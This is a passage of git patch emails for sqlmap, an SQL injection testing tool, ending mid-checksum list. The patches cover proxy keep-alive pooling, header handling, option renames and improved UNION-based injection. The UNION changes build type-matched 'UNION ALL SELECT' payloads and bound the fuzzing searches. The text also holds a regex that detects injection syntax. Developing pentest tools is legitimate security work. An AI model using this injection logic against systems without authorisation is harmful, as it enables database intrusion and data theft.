0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -929603eb63f80f5547c23357e089a7a59be53140269f20f19748901ced0d1356 lib/core/settings.py +47719c926f8975b57b107a698cea7ae2d43b220da38d6b9ad4055b43a560d095 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -200,7 +200,7 @@ b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unesc 2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py -d6ba23b8f3d40cb021de1ebe50eabf891f060df77e9643838ff8fd3850b507d0 lib/parse/cmdline.py +2b1ccf7adab06d64784639ba4db9772cc7bd3de30ad52513d4350fbf798082ed lib/parse/cmdline.py 02d82e4069bd98c52755417f8b8e306d79945672656ac24f1a45e7a6eff4b158 lib/parse/configfile.py c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py @@ -212,7 +212,7 @@ c2f34e27578742e729c2fa9c1d4f0a0d8f8f7f4cf0fc14c62ec817a260c71dec lib/parse/site a988c659e0c642e4f3dc4034118b5a6e138a522394ff2eda5bdc3c8495ea2207 lib/request/basic.py bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/chunkedhandler.py 9c0dccc1cee66d38478aaf75a7c513d0d136d50a90b15fed146faa1653899fe1 lib/request/comparison.py -f0c7f1a6cc1abc557723f24785cdc974cc22a492836384f42413a1254d8dc601 lib/request/connect.py +4a3b997a83b1724e8bd025be95ec5d84c6bf41d533ba097fcab1eab763352111 lib/request/connect.py 8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498 lib/request/direct.py a6b37b436838caeb197fea858d0a39fadbff4736256e741b5fcec1f28fcf1ce0 lib/request/dns.py 3afb06089f2801d5a12458a313b278db62c17a8d8fd3b8c46f07670699119af3 lib/request/http2.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 8a597a476..0a021d5f4 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.6" +VERSION = "1.10.7.7" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index b12f05281..dde875d91 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -153,7 +153,7 @@ def cmdLineParser(argv=None): request.add_argument("-H", "--header", dest="header", help="Extra header (e.g. \"X-Forwarded-For: 127.0.0.1\")") - request.add_argument("--method", dest="method", + request.add_argument("-X", "--method", dest="method", help="Force usage of given HTTP method (e.g. PUT)") request.add_argument("--data", dest="data", @@ -523,7 +523,7 @@ def cmdLineParser(argv=None): enumeration.add_argument("-C", dest="col", help="DBMS database table column(s) to enumerate") - enumeration.add_argument("-X", dest="exclude", + enumeration.add_argument("--exclude", dest="exclude", help="DBMS database identifier(s) to not enumerate") enumeration.add_argument("-U", dest="user", diff --git a/lib/request/connect.py b/lib/request/connect.py index b31cfc2db..ce59eae0c 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -508,7 +508,10 @@ class Connect(object): for key, value in list(headers.items()): if key.upper() == HTTP_HEADER.ACCEPT_ENCODING.upper(): - value = ','.join(_ for _ in re.split(r"\s*,\s*", value) if _.split(';', 1)[0].lower() != "br") or "identity" + # keep only content-codings sqlmap can actually decode (see decodePage): a browser-pasted + # 'Accept-Encoding' (e.g. "gzip, deflate, br, zstd") must not make the server return a body + # we cannot read. Anything else (br, zstd, *, ...) is dropped, falling back to "identity". + value = ','.join(_ for _ in re.split(r"\s*,\s*", value) if _.split(';', 1)[0].strip().lower() in ("gzip", "x-gzip", "deflate", "identity")) or "identity" del headers[key] if isinstance(value, six.string_types): From bd10f84a9bfdc131d5bf78de27182414bfb04215 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 1 Jul 2026 18:34:03 +0200 Subject: [PATCH 08/34] Minor patch --- data/txt/sha256sums.txt | 6 +++--- lib/core/option.py | 14 ++++++++------ lib/core/settings.py | 2 +- lib/request/keepalive.py | 27 ++++++++++++++++++++++++++- 4 files changed, 38 insertions(+), 11 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 0fe4720d9..1c44cdae1 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -182,14 +182,14 @@ b14628a6c9327d110afe50b01f3171f64f61823343b8de89596e854b00b74928 lib/core/dump. 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py 4fe3ac4c0d354d1ac42ad3f5dc1b308993588f8a249ff880d273f5031d6b52b0 lib/core/optiondict.py -98d3d61278794705c7039e40fab66a626e8d6ab765383c5379cec7a066b09301 lib/core/option.py +0235aa27d0c8cfe54180f2a003f749065d11bf167923a8189844efd45469c612 lib/core/option.py 21b2b1745107c211fc7593923a3da7a808d40763c00091c28de5f7c129bcf3bc lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 0c36a65b6237732eb001d333f80f0c58c088ff01ae80cf07e4dcc6da2a806364 lib/core/readlineng.py 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -47719c926f8975b57b107a698cea7ae2d43b220da38d6b9ad4055b43a560d095 lib/core/settings.py +459f3adf2d8acfe810410faea7fa5bddfc2ee0b1af284413a4a9fd1d11334047 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -219,7 +219,7 @@ a6b37b436838caeb197fea858d0a39fadbff4736256e741b5fcec1f28fcf1ce0 lib/request/dn 92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c lib/request/httpshandler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/request/__init__.py 7a0ac2522213e756348fd871a7af74cc963bdc82f9d7ade57be5de42b5bf7cab lib/request/inject.py -d1c5e4bda94394b5bb42c3b48b41b73ecb6069c3971af2c54394c9b35c2fed6e lib/request/keepalive.py +ff15723c82e343eb95f4599d251165d478ca720afc8f5daaed3da44ea923df44 lib/request/keepalive.py ada4d305d6ce441f79e52ec3f2fc23869ee2fa87c017723e8f3ed0dfa61cdab4 lib/request/methodrequest.py 43a7fdf64e7ba63c6b2d641c9f999a63c12ac23b43b64fedfce4e05b863de568 lib/request/pkihandler.py b90feeb16e89a844427df42373b0139eb6f6cf3c48ccec32b3e3a3f540c2451e lib/request/rangehandler.py diff --git a/lib/core/option.py b/lib/core/option.py index f7d269074..135643512 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1249,10 +1249,12 @@ def _setHTTPHandlers(): handlers.append(_urllib.request.HTTPCookieProcessor(conf.cj)) # Reference: http://www.w3.org/Protocols/rfc2616/rfc2616-sec8.html - # Note: persistent (Keep-Alive) connections are used by default; '--no-keep-alive' opts out, - # and they are automatically disabled when incompatible (HTTP(s) proxy, authentication methods, - # or chunked transfer-encoding of the request body - handled by a dedicated, non-pooling handler) - conf.keepAlive = not conf.noKeepAlive and not conf.proxy and not conf.authType and not conf.chunked + # Note: persistent (Keep-Alive) connections are used by default (including through an HTTP(s) + # proxy - the keep-alive handler pools the proxy socket for plain HTTP and the CONNECT-tunnelled + # socket per origin for HTTPS); '--no-keep-alive' opts out, and they are automatically disabled + # when incompatible (authentication methods, or chunked transfer-encoding of the request body - + # handled by a dedicated, non-pooling handler) + conf.keepAlive = not conf.noKeepAlive and not conf.authType and not conf.chunked if conf.keepAlive: # persistent connections for both HTTP and HTTPS; the keep-alive HTTPS @@ -1261,8 +1263,8 @@ def _setHTTPHandlers(): handlers.remove(httpsHandler) handlers.append(keepAliveHandler) handlers.append(keepAliveHandlerHTTPS) - elif not conf.noKeepAlive and (conf.proxy or conf.authType or conf.chunked): - reason = "an HTTP(s) proxy" if conf.proxy else ("authentication methods" if conf.authType else "chunked transfer-encoding") + elif not conf.noKeepAlive and (conf.authType or conf.chunked): + reason = "authentication methods" if conf.authType else "chunked transfer-encoding" debugMsg = "persistent (Keep-Alive) connections were disabled (incompatible with %s)" % reason logger.debug(debugMsg) diff --git a/lib/core/settings.py b/lib/core/settings.py index 0a021d5f4..fdfb62707 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.7" +VERSION = "1.10.7.8" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/keepalive.py b/lib/request/keepalive.py index 299a5450f..e3f192643 100644 --- a/lib/request/keepalive.py +++ b/lib/request/keepalive.py @@ -60,6 +60,22 @@ class _KeepAliveHandler(object): def _give_back(self, key, conn, count): self._pool.conns[key] = [conn, count, time.time()] + @staticmethod + def _takeTunnelHeaders(req): + """ + Pops the Proxy-Authorization header off L{req} (returning it as a dict) so it rides on the + CONNECT request only and is never forwarded through the tunnel to the origin server, mirroring + the stock C{urllib.request.AbstractHTTPHandler.do_open} tunnel setup + """ + + result = {} + for store in (getattr(req, "unredirected_hdrs", None), getattr(req, "headers", None)): + if store: + for name in list(store): + if name.lower() == "proxy-authorization": + result[name] = store.pop(name) + return result + def do_open(self, req): # Note: 'selector'/'host' attributes on Python 3 (Request.get_host() was deprecated since # 3.3 and removed in 3.12); the get_*() fallbacks are only reachable under Python 2 @@ -68,7 +84,14 @@ class _KeepAliveHandler(object): if not host: raise _urllib.error.URLError("no host given") - key = "%s://%s" % (self._scheme, host) + # When routed through an HTTP(s) proxy, ProxyHandler has already rewritten the request: for a + # plain-HTTP target 'host' is the proxy and the selector is absolute; for an HTTPS target + # '_tunnel_host' holds the origin reached via a CONNECT tunnel. Pool by the tunnel origin when + # tunneling (each origin needs its own tunnelled socket) and by 'host' otherwise (one HTTP-proxy + # socket serves many origins, and a direct connection is keyed by its own host exactly as before). + tunnelHost = getattr(req, "_tunnel_host", None) + tunnelHeaders = self._takeTunnelHeaders(req) if tunnelHost else None + key = "%s://%s" % (self._scheme, tunnelHost or host) conn, count = self._take(key) reused = conn is not None @@ -93,6 +116,8 @@ class _KeepAliveHandler(object): if conn is None: conn = self._get_connection(host) + if tunnelHost: + conn.set_tunnel(tunnelHost, headers=tunnelHeaders or {}) count = 0 self._send_request(conn, req) response = conn.getresponse() From 1716ad15242e0ae49a10f34edd68b368cb77aa45 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 1 Jul 2026 22:31:37 +0200 Subject: [PATCH 09/34] Minor improvement of UNION detection --- data/txt/sha256sums.txt | 8 ++++---- lib/controller/controller.py | 7 ++++--- lib/core/agent.py | 11 ++++++++++- lib/core/settings.py | 5 ++++- lib/techniques/union/test.py | 18 ++++++++++++++---- 5 files changed, 36 insertions(+), 13 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 1c44cdae1..d39c46234 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -163,10 +163,10 @@ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/ 9af5fdfa8b2425d404d86ab08d3644caa95bcf77605551f5da482a59d1e54a22 extra/vulnserver/vulnserver.py a2bf70d7f87c3a4e0675c0bad54119a4e04efa6ea2730a8338d5aebcd995630e lib/controller/action.py 736715a73941a06e5d3d349dd01a1f1b171f54eb4c374c6752b2cc44b0977ffe lib/controller/checks.py -666935b658074dc9c42153622b75d4ec7bfe56fbe0742de827a5d30a1a0f9d96 lib/controller/controller.py +2086100cd7a78a4e8c12d72bd4f5b414ec6b3f49926e83285494534140e60ce7 lib/controller/controller.py d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py -9c5764c92ce536d1f0f96200359ee5ef1f37f9128769bf990cb77f1d1f8e17b1 lib/core/agent.py +48ffe93d61734e16c3b20153b51595853d9ac1fbcf0b537e0e61e957b0c0bfa6 lib/core/agent.py c51c33501cc905586a9aaac93b06f2ac6f71628d032a7dc39fd0ef05d7ee3856 lib/core/bigarray.py f73bbb05c1cfd642e8f556f3047f8418bed07b06f555d445b6f14c03c105b87a lib/core/common.py 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py @@ -189,7 +189,7 @@ b14628a6c9327d110afe50b01f3171f64f61823343b8de89596e854b00b74928 lib/core/dump. 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -459f3adf2d8acfe810410faea7fa5bddfc2ee0b1af284413a4a9fd1d11334047 lib/core/settings.py +c84d55438df9338804398ec3d8bc7b95cb4024dd356db9aeb4ea1cb19edcb794 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -250,7 +250,7 @@ bde75d41ac3e5747b96d2af4c33922573158cb43b48714a28490d6720dd85d89 lib/techniques 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/ssti/__init__.py 14637b64878248e5965887b07aa68e62615dac88e2ffc6c3a581430bdd4e309e lib/techniques/ssti/inject.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/union/__init__.py -ceec65f8cb7c3254c4671351c837418c76ac5bc55ccbc40779f67231b54d7085 lib/techniques/union/test.py +f6678ac1342f8d234ed32ae69be5ac5d7837393e9348929ec029c9764c030e82 lib/techniques/union/test.py c68f8259e0a89a556d049f227041849df584313bd1b5349b02f74a47778c901c lib/techniques/union/use.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xpath/__init__.py c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734 lib/techniques/xpath/inject.py diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 67b9278b1..ba27f49aa 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -561,9 +561,10 @@ def start(): checkNullConnection() if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) and (kb.injection.place is None or kb.injection.parameter is None): - if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique: - # NOTE: this is not needed anymore, leaving only to display - # a warning message to the user in case the page is not stable + if not any((conf.string, conf.notString, conf.regexp)) and any(_ in conf.technique for _ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.UNION)): + # NOTE: besides the not-stable warning, this marks dynamic content for removal, which + # UNION column-count detection relies on too (it compares pages) - so it must run when + # UNION is tested even if BOOLEAN is excluded (e.g. '--technique=U' on a dynamic page) checkStability() # Do a little prioritization reorder of a testable parameter list diff --git a/lib/core/agent.py b/lib/core/agent.py index ec781a43e..ad67ade14 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -958,12 +958,19 @@ class Agent(object): if not infoFile: query = _collate(query) + # A fuzzy-discovered per-column type template (kb.unionTemplate, e.g. ['1234', '%s', '5678']) + # forces type-compatible fillers on strict DBMSes (e.g. Apache Derby, which rejects bare NULL + # and demands UNION column-type parity); '%s' marks the slot carrying the injected expression. + template = kb.unionTemplate if isinstance(kb.unionTemplate, (list, tuple)) and len(kb.unionTemplate) == count else None + for element in xrange(0, count): if element > 0: unionQuery += ',' if conf.uValues and conf.uValues.count(',') + 1 == count: unionQuery += conf.uValues.split(',')[element] + elif template is not None: + unionQuery += query if template[element] == "%s" else template[element] elif element == position: unionQuery += query else: @@ -985,7 +992,9 @@ class Agent(object): if element > 0: unionQuery += ',' - if element == position: + if template is not None: + unionQuery += _collate(multipleUnions) if template[element] == "%s" else template[element] + elif element == position: unionQuery += _collate(multipleUnions) else: unionQuery += char diff --git a/lib/core/settings.py b/lib/core/settings.py index fdfb62707..f6a5115e6 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.8" +VERSION = "1.10.7.9" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -141,6 +141,9 @@ FUZZ_UNION_ERROR_REGEX = r"(?i)data\s?type|mismatch|comparable|compatible|conver # Upper threshold for starting the fuzz(y) UNION test FUZZ_UNION_MAX_COLUMNS = 10 +# Maximum number of probe requests the fuzz(y) UNION test may issue (bounds its otherwise exponential type-combination search when run automatically) +FUZZ_UNION_MAX_REQUESTS = 80 + # Regular expression used for recognition of generic maximum connection messages MAX_CONNECTIONS_REGEX = r"\bmax.{1,100}\bconnection" diff --git a/lib/techniques/union/test.py b/lib/techniques/union/test.py index 0a8facf78..5c2022c3a 100644 --- a/lib/techniques/union/test.py +++ b/lib/techniques/union/test.py @@ -38,6 +38,7 @@ from lib.core.enums import FUZZ_UNION_COLUMN from lib.core.enums import PAYLOAD from lib.core.settings import FUZZ_UNION_ERROR_REGEX from lib.core.settings import FUZZ_UNION_MAX_COLUMNS +from lib.core.settings import FUZZ_UNION_MAX_REQUESTS from lib.core.settings import LIMITED_ROWS_TEST_NUMBER from lib.core.settings import MAX_RATIO from lib.core.settings import MIN_RATIO @@ -190,12 +191,14 @@ def _fuzzUnionCols(place, parameter, prefix, suffix): choices = getPublicTypeMembers(FUZZ_UNION_COLUMN, True) random.shuffle(choices) + attempts = 0 for candidate in itertools.product(choices, repeat=kb.orderByColumns): - if retVal: + if retVal or attempts >= FUZZ_UNION_MAX_REQUESTS: # bound the exponential type-combination search break elif FUZZ_UNION_COLUMN.STRING not in candidate: continue else: + attempts += 1 candidate = [_.replace(FUZZ_UNION_COLUMN.INTEGER, str(randomInt())).replace(FUZZ_UNION_COLUMN.STRING, "'%s'" % randomStr(20)) for _ in candidate] query = agent.prefixQuery("UNION ALL SELECT %s%s" % (','.join(candidate), FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), "")), prefix=prefix) @@ -332,16 +335,21 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix) if Backend.getIdentifiedDbms() and kb.orderByColumns and kb.orderByColumns < FUZZ_UNION_MAX_COLUMNS: if kb.fuzzUnionTest is None: msg = "do you want to (re)try to find proper " - msg += "UNION column types with fuzzy test? [y/N] " + msg += "UNION column types with a fuzzy test? [Y/n] " - kb.fuzzUnionTest = readInput(msg, default='N', boolean=True) + kb.fuzzUnionTest = readInput(msg, default='Y', boolean=True) if kb.fuzzUnionTest: kb.unionTemplate = _fuzzUnionCols(place, parameter, prefix, suffix) + # apply the discovered per-column type template through a normal confirmation so + # the resulting vector (and later extraction) is built with type-compatible columns + if kb.unionTemplate: + validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, len(kb.unionTemplate)) + warnMsg = "if UNION based SQL injection is not detected, " warnMsg += "please consider " - if not conf.uChar and count > 1 and kb.uChar == NULL and conf.uValues is None: + if not all((validPayload, vector)) and not conf.uChar and count > 1 and kb.uChar == NULL and conf.uValues is None: message = "injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] " if not readInput(message, default='Y', boolean=True): @@ -380,6 +388,8 @@ def unionTest(comment, place, parameter, value, prefix, suffix): negativeLogic = kb.negativeLogic setTechnique(PAYLOAD.TECHNIQUE.UNION) + kb.unionTemplate = None # reset any per-column type template carried over from a previous parameter + try: if negativeLogic: pushValue(kb.negativeLogic) From c2209d9326c373f7e474d4a7eb6027061c4cb3b5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 1 Jul 2026 23:16:05 +0200 Subject: [PATCH 10/34] Patch related to #5357 --- data/txt/sha256sums.txt | 2 +- lib/core/settings.py | 7 +++++-- 2 files changed, 6 insertions(+), 3 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index d39c46234..32a95cc13 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ b14628a6c9327d110afe50b01f3171f64f61823343b8de89596e854b00b74928 lib/core/dump. 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -c84d55438df9338804398ec3d8bc7b95cb4024dd356db9aeb4ea1cb19edcb794 lib/core/settings.py +dba5c2fcdd18d70021f56236551c697587bdc885b5693e5b36c191098980e8fb lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py diff --git a/lib/core/settings.py b/lib/core/settings.py index f6a5115e6..a6bf3aac6 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.9" +VERSION = "1.10.7.10" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -716,7 +716,10 @@ DUMMY_USER_INJECTION = r"(?i)[^\w](AND|OR)\s+[^\s]+[=><]|\bUNION\b.+\bSELECT\b|\ CRAWL_EXCLUDE_EXTENSIONS = frozenset(("3ds", "3g2", "3gp", "7z", "DS_Store", "a", "aac", "accdb", "access", "adp", "ai", "aif", "aiff", "apk", "ar", "asf", "au", "avi", "bak", "bin", "bk", "bkp", "bmp", "btif", "bz2", "c", "cab", "caf", "cfg", "cgm", "cmx", "com", "conf", "config", "cpio", "cpp", "cr2", "cue", "dat", "db", "dbf", "deb", "debug", "djvu", "dll", "dmg", "dmp", "dng", "doc", "docx", "dot", "dotx", "dra", "dsk", "dts", "dtshd", "dvb", "dwg", "dxf", "dylib", "ear", "ecelp4800", "ecelp7470", "ecelp9600", "egg", "elf", "env", "eol", "eot", "epub", "error", "exe", "f4v", "fbs", "fh", "fla", "flac", "fli", "flv", "fpx", "fst", "fvt", "g3", "gif", "go", "gz", "h", "h261", "h263", "h264", "ico", "ief", "img", "ini", "ipa", "iso", "jar", "java", "jpeg", "jpg", "jpgv", "jpm", "js", "jxr", "ktx", "lock", "log", "lvp", "lz", "lzma", "lzo", "m3u", "m4a", "m4v", "mar", "mdb", "mdi", "mid", "mj2", "mka", "mkv", "mmr", "mng", "mov", "movie", "mp3", "mp4", "mp4a", "mpeg", "mpg", "mpga", "msi", "mxu", "nef", "npx", "nrg", "o", "oga", "ogg", "ogv", "old", "otf", "ova", "ovf", "pbm", "pcx", "pdf", "pea", "pgm", "pic", "pid", "pkg", "png", "pnm", "ppm", "pps", "ppt", "pptx", "ps", "psd", "py", "pya", "pyc", "pyo", "pyv", "qt", "rar", "ras", "raw", "rb", "rgb", "rip", "rlc", "rs", "run", "rz", "s3m", "s7z", "scm", "scpt", "service", "sgi", "shar", "sil", "smv", "so", "sock", "socket", "sqlite", "sqlitedb", "sub", "svc", "swf", "swo", "swp", "sys", "tar", "tbz2", "temp", "tga", "tgz", "tif", "tiff", "tlz", "tmp", "toast", "torrent", "ts", "ttf", "uvh", "uvi", "uvm", "uvp", "uvs", "uvu", "vbox", "vdi", "vhd", "vhdx", "viv", "vmdk", "vmx", "vob", "vxd", "war", "wav", "wax", "wbmp", "wdp", "weba", "webm", "webp", "whl", "wm", "wma", "wmv", "wmx", "woff", "woff2", "wvx", "xbm", "xif", "xls", "xlsx", "xlt", "xm", "xpi", "xpm", "xwd", "xz", "yaml", "yml", "z", "zip", "zipx")) # Patterns often seen in HTTP headers containing custom injection marking character '*' -PROBLEMATIC_CUSTOM_INJECTION_PATTERNS = r"(;q=[^;']+)|(\*/\*)" +# Note: the ';q=' quality-value class excludes '*' so a user-placed injection mark right after a +# quality value (e.g. 'Accept: ...;q=0.9*') is not swallowed (ref: #5357 - header injection was then +# missed on a GET lacking a Content-Length header, which is otherwise what forces params detection) +PROBLEMATIC_CUSTOM_INJECTION_PATTERNS = r"(;q=[^;'*]+)|(\*/\*)" # Template used for common table existence check BRUTE_TABLE_EXISTS_TEMPLATE = "EXISTS(SELECT %d FROM %s)" From a3bff54cc55ce19a3eac5b54cc6a74d3b11c3b5d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 2 Jul 2026 00:19:31 +0200 Subject: [PATCH 11/34] Fixes #1545 --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/utils/pivotdumptable.py | 26 ++++++++++++++++++++++++++ 3 files changed, 29 insertions(+), 3 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 32a95cc13..ecb08f953 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ b14628a6c9327d110afe50b01f3171f64f61823343b8de89596e854b00b74928 lib/core/dump. 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -dba5c2fcdd18d70021f56236551c697587bdc885b5693e5b36c191098980e8fb lib/core/settings.py +db578cf03ccdb67a0930ebaba6bc8aa1b777e0a09e3cc7d14fef47c5e47f3f5f lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -266,7 +266,7 @@ bd9267d94390ba87d6c5a35c90f2406d6a4135a7c8ea01db76dd9e6519eee2ed lib/utils/dial 71a66ff766a2921106770b26acff380de469222dc893816a7b970b384c927666 lib/utils/hash.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/utils/__init__.py 1bbf57e43f921d4132e6e5a336ff39454a9506b36de94ebcc45879d0abcac56a lib/utils/keysetdump.py -04b28ad98340a589eb9b21d014c435e8193c2bea3a21af9875b6f23c9b270f1f lib/utils/pivotdumptable.py 